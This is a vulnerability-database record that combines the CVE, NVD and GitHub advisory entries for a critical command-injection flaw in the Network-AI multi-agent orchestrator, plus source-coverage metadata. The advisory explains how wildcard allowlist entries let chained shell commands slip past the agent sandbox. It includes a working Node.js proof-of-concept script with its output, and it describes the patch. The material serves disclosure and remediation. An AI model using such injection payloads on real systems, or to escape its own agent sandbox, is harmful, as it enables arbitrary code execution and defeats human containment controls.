{"id":"GHSA-qw6v-5fcf-5666","revision":null,"records":[{"revision":"2cf20bcf240f44f9b28841308d1fb2a8","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54051","aliases":[],"title":"Network-AI has an an OS Command Injection issue","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.9.1, the agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; <anything>`, and a scoped command becomes arbitrary execution. The issue is fixed in v5.9.1. `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; & | $ ` ` ` ( ) < > { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data. Users should upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.","state":0,"publishedAt":"2026-07-20T16:24:20.791+00:00","modifiedAt":"2026-07-21T16:03:01.029+00:00","affected":[{"ecosystem":"Vendor product","name":"Network-AI","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Jovancoding\",\n                    \"product\": \"Network-AI\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 5.9.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666","https://github.com/Jovancoding/Network-AI/commit/379f77656b578144e03415c5b134d8309a4b5792"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54051","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54051","identifiers":["CVE-2026-54051"]},"retained":false,"historicalAffected":[]},{"revision":"533229b14a2143a6a541dbc460820538","observedAt":"2026-10-25T13:17:22.268+00:00","statement":{"source":"nvd","id":"CVE-2026-54051","aliases":[],"title":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.9.1, the agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compr…","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.9.1, the agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; <anything>`, and a scoped command becomes arbitrary execution. The issue is fixed in v5.9.1. `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; & | $ ` ` ` ( ) < > { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data. Users should upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.","state":0,"publishedAt":"2026-07-20T17:17:57.643+00:00","modifiedAt":"2026-10-24T20:10:00.137+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/Jovancoding/Network-AI/commit/379f77656b578144e03415c5b134d8309a4b5792","https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54051","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-78"],"productCriteria":[],"sourceDates":{"published":"2026-07-20T17:17:57.643","lastModified":"2026-10-24T20:10:00.137"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54051","identifiers":["CVE-2026-54051"]},"retained":false,"historicalAffected":[]},{"revision":"5ceed8c27a64481fbc88864dc5e4f0ff","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-qw6v-5fcf-5666","aliases":["CVE-2026-54051"],"title":"Network-AI: Improper Neutralization of Special Elements used in an OS Command ","description":"## Summary\n\nThe agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; <anything>`, and a scoped command becomes arbitrary execution.\n\n## Root cause\n\nMatching and execution disagree on what a command is. Lines pinned to `40e42d7` (`lib/agent-runtime.ts` is identical to the v5.8.5 tag).\n\n1. `isCommandAllowed` matches the full string, with no tokenizing and no metacharacter check:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260\n\n2. `globMatch` compiles `*` to `.*` and anchors it, so `git *` becomes `^git .*$` and matches `git status; id`:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360\n\n3. `ShellExecutor.execute` only checks `isCommandAllowed`, never `requiresApproval`:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391\n\n4. `spawnCommand` runs the approved string via `/bin/sh -c`, so `;`, `|` and `$(...)` are interpreted by the shell:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431\n\n## Reachability\n\nAny agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain `git *` is enough. No fresh-install precondition and no extra misconfiguration.\n\n## PoC\n\nInstalls `network-ai@5.8.5`, allows `git *`, then runs `git status; id > marker`.\nThe allowlist accepts it and the injected `id` runs.\n\nRun: `npm i network-ai@5.8.5 && node poc-316.js`\n\n```js\n'use strict';\nconst os = require('os');\nconst fs = require('fs');\nconst path = require('path');\nconst { SandboxPolicy, ShellExecutor } = require('network-ai');\n\n(async () => {\n  const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));\n  const marker = path.join(base, 'PWNED-316.txt');\n  const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });\n  const sh = new ShellExecutor(policy);\n\n  const payload = `git status; id > ${marker}; echo INJECTED`;\n  console.log('version:', require('network-ai/package.json').version);\n  console.log('allowed:', policy.isCommandAllowed(payload));\n\n  await sh.execute(payload);\n  const ran = fs.existsSync(marker);\n  console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');\n  console.log(ran ? 'VULNERABLE' : 'not reproduced');\n  process.exit(ran ? 0 : 1);\n})().catch(err => { console.error(err); process.exit(3); });\n```\n\nOutput:\n\n```\nversion: 5.8.5\nallowed: true\ninjected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...\nVULNERABLE\n```\n\n## Impact\n\nArbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (`git *`, `npm *`, `node *`) can run anything. `node *` and `npm *` are direct code exec even without metacharacters.\n\n## Possible fix\n\nDo not run agent commands through a shell. Parse to argv and `spawn(file, args, { shell: false })`, allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus `/bin/sh -c` is the bug.\n\n\n## Patch\n\nFixed in **v5.9.1** (commit `379f776`). `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; & | $ ` ` ` ( ) < > { }` newline) or unterminated quote **before** the allowlist glob match; quoted metacharacters are preserved as literal argument data.\n\n**Remediation:** upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.","state":0,"publishedAt":"2026-06-19T13:35:05+00:00","modifiedAt":"2026-06-19T13:56:29.308679+00:00","affected":[{"ecosystem":"npm","name":"network-ai","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"5.9.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666","https://github.com/Jovancoding/Network-AI"],"sourceUrl":"https://github.com/advisories/GHSA-qw6v-5fcf-5666","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qw6v-5fcf-5666","identifiers":["GHSA-qw6v-5fcf-5666","CVE-2026-54051"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T08:06:27.4054375+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T08:06:27.4054375+00:00","lastSuccessAt":"2026-10-27T08:06:27.6113185+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.6113197+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-18c597c2614da2501092bf7bec3d61f93c4af7d3dcf9d76137dd5a6a7b648ce8","complete":true,"records":414875,"lastAttemptAt":"2026-10-27T08:06:26.8191201+00:00","lastSuccessAt":"2026-10-27T08:06:26.7816085+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:26.8191201+00:00","snapshotPublishedAt":"2026-10-27T07:29:05+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T08:06:51.0390723+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T08:06:27.4054375+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T08:06:27.4054375+00:00","lastSuccessAt":"2026-10-27T08:06:27.7555276+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.7555289+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d8daf1b153174f24ae7b01adb4adcbf4","complete":true,"records":13416,"lastAttemptAt":"2026-10-27T08:06:48.9076777+00:00","lastSuccessAt":"2026-10-27T08:06:48.903+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:48.903+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13477,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-27T08:06:27.2041205+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.2041205+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T08:06:27.0036886+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.0036886+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-27T08:06:27.3077296+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.3077296+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2c2579bb03487537529e2b647fd2d9950cfc0fec1a9832dba33e322b8dcbe369","complete":true,"records":230812,"lastAttemptAt":"2026-10-27T08:06:27.1068006+00:00","lastSuccessAt":"2026-10-26T21:37:26.5810298+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.1068006+00:00","snapshotPublishedAt":"2026-10-26T21:33:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}